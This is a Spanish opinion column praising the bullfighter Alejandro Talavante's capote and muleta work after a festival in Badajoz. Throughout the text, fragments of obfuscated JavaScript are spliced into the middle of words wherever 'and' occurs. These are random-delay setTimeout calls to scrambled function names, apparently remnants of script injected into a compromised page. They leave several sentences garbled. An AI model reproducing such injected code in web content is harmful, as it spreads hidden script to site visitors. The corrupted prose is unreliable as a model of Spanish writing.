TALAVANTE, IRREPETIBLE

Yo no digo que Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante torease mal a la verónica, digo que ahora torea mejor. El capote es menos volandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andero, la tela no tapa tanto el mundo al toro. Se ofrece a la embestida con más verdad y en el embroque hay más conjunción, más acople, y el ole estalla con más fuerza.

Tampoco digo que ahora toree mejor con la muleta. Después de las faenas al toro de Handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andam en México y al de Núñez del Cuvillo en Zaragoza, no se puede torear mejor. Ni con más improvisación, ni con más ritmo, ni con más sutileza. Pero ahora el vuelo de la muleta tiene más plomada, más dibujo, una geometría más firme y con más luz, un ole más rotundo.

Me gustan los toreros que cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando alcanzan su techo resulta que el techo es todavía más alto. Y eso es lo que me gustó de Talavante la seman pasada, en el festival de Badajoz: saber que el torero puede crecer inesperadamente, que no se repetirá tarde tras tarde aunque en todas esté bien, que su quehacer siempre estará abierto a la sorpresa.

talavante

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